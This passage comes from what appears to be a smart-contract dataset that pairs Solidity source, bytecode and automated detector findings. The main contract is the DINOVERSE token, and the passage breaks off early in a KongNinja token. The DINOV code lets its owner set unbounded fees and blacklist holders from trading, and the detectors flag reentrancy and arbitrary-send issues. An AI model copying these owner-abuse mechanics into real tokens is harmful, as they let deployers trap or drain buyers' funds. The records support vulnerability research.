0746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129a68161258d565b81146129b157600080fd5b50565b6129bd8161259f565b81146129c857600080fd5b50565b6129d4816125cb565b81146129df57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e8dd85f72895ede2ef41d045bdbebfb80d48924a9117a83011ddc3088ab3035164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,053
0x844c175553a1b4de0641b0ed850e6e5aaa8cb275
// SPDX-License-Identifier: Unlicensed /* Welcome to the DINOVERSE! An all-new, unique Metaverse experience … Bringing you back in time to a pre-historic, mesozoic era; a world ruled by mystical and powerful creatures. $DINOV is the governance token of the DINOVERSE Ecosystem and Metaverse. Buy, trade, explore and engage in this one-of-a-kind experience. We’re bringing you back in time … the opportunities and possibilities are endless. Create your destiny. */ // t.me/Dinoversetoken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DINOV is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DINOVERSE"; string private constant _symbol = "DINOV"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x6A9ff30A683DC7E6cAde212ee6b911743EA8704d); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5e9 * 10**9; uint256 public _maxWalletSize = 5e9 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610595578063c5528490146105b5578063dd62ed3e146105d5578063ea1644d51461061b578063f2fde38b1461063b57600080fd5b80638da5cb5b1461051e5780638f9a55c01461053c57806395d89b41146105525780639e78fb4f1461058057600080fd5b8063790ca413116100dc578063790ca413146104bd5780637c519ffb146104d35780637d1db4a5146104e8578063881dce60146104fe57600080fd5b80636fc3eaec1461045357806370a0823114610468578063715018a61461048857806374010ece1461049d57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d35780634bf2c7c9146103f35780635d098b38146104135780636d8aa8f81461043357600080fd5b80632fd689e314610361578063313ce5671461037757806333251a0b1461039357806338eea22d146103b357600080fd5b806318160ddd116101c157806318160ddd146102e357806323b872dd1461030957806327c8f8351461032957806328bb665a1461033f57600080fd5b806306fdde03146101fe578063095ea7b3146102425780630f3a325f146102725780631694505e146102ab57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600981526844494e4f564552534560b81b60208201525b6040516102399190611e60565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611d0b565b61065b565b6040519015158152602001610239565b34801561027e57600080fd5b5061026261028d366004611c57565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b757600080fd5b506016546102cb906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102ef57600080fd5b50683635c9adc5dea000005b604051908152602001610239565b34801561031557600080fd5b50610262610324366004611cca565b610672565b34801561033557600080fd5b506102cb61dead81565b34801561034b57600080fd5b5061035f61035a366004611d37565b6106db565b005b34801561036d57600080fd5b506102fb601a5481565b34801561038357600080fd5b5060405160098152602001610239565b34801561039f57600080fd5b5061035f6103ae366004611c57565b61077a565b3480156103bf57600080fd5b5061035f6103ce366004611e3e565b6107e9565b3480156103df57600080fd5b506017546102cb906001600160a01b031681565b3480156103ff57600080fd5b5061035f61040e366004611e25565b61081e565b34801561041f57600080fd5b5061035f61042e366004611c57565b61084d565b34801561043f57600080fd5b5061035f61044e366004611e03565b6108a7565b34801561045f57600080fd5b5061035f6108ef565b34801561047457600080fd5b506102fb610483366004611c57565b610919565b34801561049457600080fd5b5061035f61093b565b3480156104a957600080fd5b5061035f6104b8366004611e25565b6109af565b3480156104c957600080fd5b506102fb600a5481565b3480156104df57600080fd5b5061035f6109de565b3480156104f457600080fd5b506102fb60185481565b34801561050a57600080fd5b5061035f610519366004611e25565b610a38565b34801561052a57600080fd5b506000546001600160a01b03166102cb565b34801561054857600080fd5b506102fb60195481565b34801561055e57600080fd5b506040805180820190915260058152642224a727ab60d91b602082015261022c565b34801561058c57600080fd5b5061035f610a82565b3480156105a157600080fd5b506102626105b0366004611d0b565b610c67565b3480156105c157600080fd5b5061035f6105d0366004611e3e565b610c74565b3480156105e157600080fd5b506102fb6105f0366004611c91565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062757600080fd5b5061035f610636366004611e25565b610ca9565b34801561064757600080fd5b5061035f610656366004611c57565b610cd8565b6000610668338484610dc2565b5060015b92915050565b600061067f848484610ee6565b6106d184336106cc85604051806060016040528060288152602001612065602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611540565b610dc2565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161070590611eb5565b60405180910390fd5b60005b81518110156107765760016009600084848151811061073257610732612023565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061076e81611ff2565b915050610711565b5050565b6000546001600160a01b031633146107a45760405162461bcd60e51b815260040161070590611eb5565b6001600160a01b03811660009081526009602052604090205460ff16156107e6576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161070590611eb5565b600b91909155600d55565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161070590611eb5565b601155565b6015546001600160a01b0316336001600160a01b03161461086d57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161070590611eb5565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461090f57600080fd5b476107e68161157a565b6001600160a01b03811660009081526002602052604081205461066c906115b4565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161070590611eb5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d95760405162461bcd60e51b815260040161070590611eb5565b601855565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161070590611eb5565b601754600160a01b900460ff1615610a1f57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a5857600080fd5b610a6130610919565b8111158015610a705750600081115b610a7957600080fd5b6107e6816115e2565b6000546001600160a01b03163314610aac5760405162461bcd60e51b815260040161070590611eb5565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b0c57600080fd5b505afa158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190611c74565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8c57600080fd5b505afa158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc49190611c74565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c0c57600080fd5b505af1158015610c20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c449190611c74565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610668338484610ee6565b6000546001600160a01b03163314610c9e5760405162461bcd60e51b815260040161070590611eb5565b600c91909155600e55565b6000546001600160a01b03163314610cd35760405162461bcd60e51b815260040161070590611eb5565b601955565b6000546001600160a01b03163314610d025760405162461bcd60e51b815260040161070590611eb5565b6001600160a01b038116610d675760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610705565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610705565b6001600160a01b038216610e855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610705565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610705565b6001600160a01b038216610fac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610705565b6000811161100e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610705565b6001600160a01b03821660009081526009602052604090205460ff16156110475760405162461bcd60e51b815260040161070590611eea565b6001600160a01b03831660009081526009602052604090205460ff16156110805760405162461bcd60e51b815260040161070590611eea565b3360009081526009602052604090205460ff16156110b05760405162461bcd60e51b815260040161070590611eea565b6000546001600160a01b038481169116148015906110dc57506000546001600160a01b03838116911614155b156113ea57601754600160a01b900460ff1661113a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610705565b6017546001600160a01b03838116911614801561116557506016546001600160a01b03848116911614155b15611217576001600160a01b038216301480159061118c57506001600160a01b0383163014155b80156111a657506015546001600160a01b03838116911614155b80156111c057506015546001600160a01b03848116911614155b15611217576018548111156112175760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610705565b6017546001600160a01b0383811691161480159061124357506015546001600160a01b03838116911614155b801561125857506001600160a01b0382163014155b801561126f57506001600160a01b03821661dead14155b156112e4576019548161128184610919565b61128b9190611f82565b106112e45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610705565b60006112ef30610919565b601a54909150811180801561130e5750601754600160a81b900460ff16155b801561132857506017546001600160a01b03868116911614155b801561133d5750601754600160b01b900460ff165b801561136257506001600160a01b03851660009081526006602052604090205460ff16155b801561138757506001600160a01b03841660009081526006602052604090205460ff16155b156113e757601154600090156113c2576113b760646113b16011548661176b90919063ffffffff16565b906117ea565b90506113c28161182c565b6113d46113cf8285611fdb565b6115e2565b4780156113e4576113e44761157a565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061142c57506001600160a01b03831660009081526006602052604090205460ff165b8061145e57506017546001600160a01b0385811691161480159061145e57506017546001600160a01b03848116911614155b1561146b5750600061152e565b6017546001600160a01b03858116911614801561149657506016546001600160a01b03848116911614155b156114f1576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156114f1576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561151c57506016546001600160a01b03858116911614155b1561152e57600d54600f55600e546010555b61153a84848484611839565b50505050565b600081848411156115645760405162461bcd60e51b81526004016107059190611e60565b5060006115718486611fdb565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610776573d6000803e3d6000fd5b60006007548211156115c557600080fd5b60006115cf61186d565b90506115db83826117ea565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162a5761162a612023565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561167e57600080fd5b505afa158015611692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b69190611c74565b816001815181106116c9576116c9612023565b6001600160a01b0392831660209182029290920101526016546116ef9130911684610dc2565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611728908590600090869030904290600401611f11565b600060405180830381600087803b15801561174257600080fd5b505af1158015611756573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261177a5750600061066c565b60006117868385611fbc565b9050826117938583611f9a565b146115db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610705565b60006115db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611890565b6107e63061dead83610ee6565b80611846576118466118be565b611851848484611903565b8061153a5761153a601254600f55601354601055601454601155565b600080600061187a6119fa565b909250905061188982826117ea565b9250505090565b600081836118b15760405162461bcd60e51b81526004016107059190611e60565b5060006115718486611f9a565b600f541580156118ce5750601054155b80156118da5750601154155b156118e157565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061191587611a3c565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119479087611a99565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119769086611adb565b6001600160a01b03891660009081526002602052604090205561199881611b3a565b6119a28483611b84565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119e791815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611a1682826117ea565b821015611a3357505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611a598a600f54601054611ba8565b9250925092506000611a6961186d565b90506000806000611a7c8e878787611bf7565b919e509c509a509598509396509194505050505091939550919395565b60006115db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611540565b600080611ae88385611f82565b9050838110156115db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610705565b6000611b4461186d565b90506000611b52838361176b565b30600090815260026020526040902054909150611b6f9082611adb565b30600090815260026020526040902055505050565b600754611b919083611a99565b600755600854611ba19082611adb565b6008555050565b6000808080611bbc60646113b1898961176b565b90506000611bcf60646113b18a8961176b565b90506000611be782611be18b86611a99565b90611a99565b9992985090965090945050505050565b6000808080611c06888661176b565b90506000611c14888761176b565b90506000611c22888861176b565b90506000611c3482611be18686611a99565b939b939a50919850919650505050505050565b8035611c528161204f565b919050565b600060208284031215611c6957600080fd5b81356115db8161204f565b600060208284031215611c8657600080fd5b81516115db8161204f565b60008060408385031215611ca457600080fd5b8235611caf8161204f565b91506020830135611cbf8161204f565b809150509250929050565b600080600060608486031215611cdf57600080fd5b8335611cea8161204f565b92506020840135611cfa8161204f565b929592945050506040919091013590565b60008060408385031215611d1e57600080fd5b8235611d298161204f565b946020939093013593505050565b60006020808385031215611d4a57600080fd5b823567ffffffffffffffff80821115611d6257600080fd5b818501915085601f830112611d7657600080fd5b813581811115611d8857611d88612039565b8060051b604051601f19603f83011681018181108582111715611dad57611dad612039565b604052828152858101935084860182860187018a1015611dcc57600080fd5b600095505b83861015611df657611de281611c47565b855260019590950194938601938601611dd1565b5098975050505050505050565b600060208284031215611e1557600080fd5b813580151581146115db57600080fd5b600060208284031215611e3757600080fd5b5035919050565b60008060408385031215611e5157600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611e8d57858101830151858201604001528201611e71565b81811115611e9f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f615784516001600160a01b031683529383019391830191600101611f3c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f9557611f9561200d565b500190565b600082611fb757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611fd657611fd661200d565b500290565b600082821015611fed57611fed61200d565b500390565b60006000198214156120065761200661200d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220386ff4f54ba389d3232512f3201128de5df17d030f7e5d78c831b46cd7b9658564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,054
0x269d258e2b2abcb4e10ea82515361ef8dbc95dd1
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ /* The almighty KongNinja are coming for you. KongNinja is the leader of the great Caesar’s ape army. Every Ninja belongs to this unit is a well trained ninja but KongNinja is the best of the best among the ninja ape army. KongNinja 🦍 Telegram: https://t.me/kongninja */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 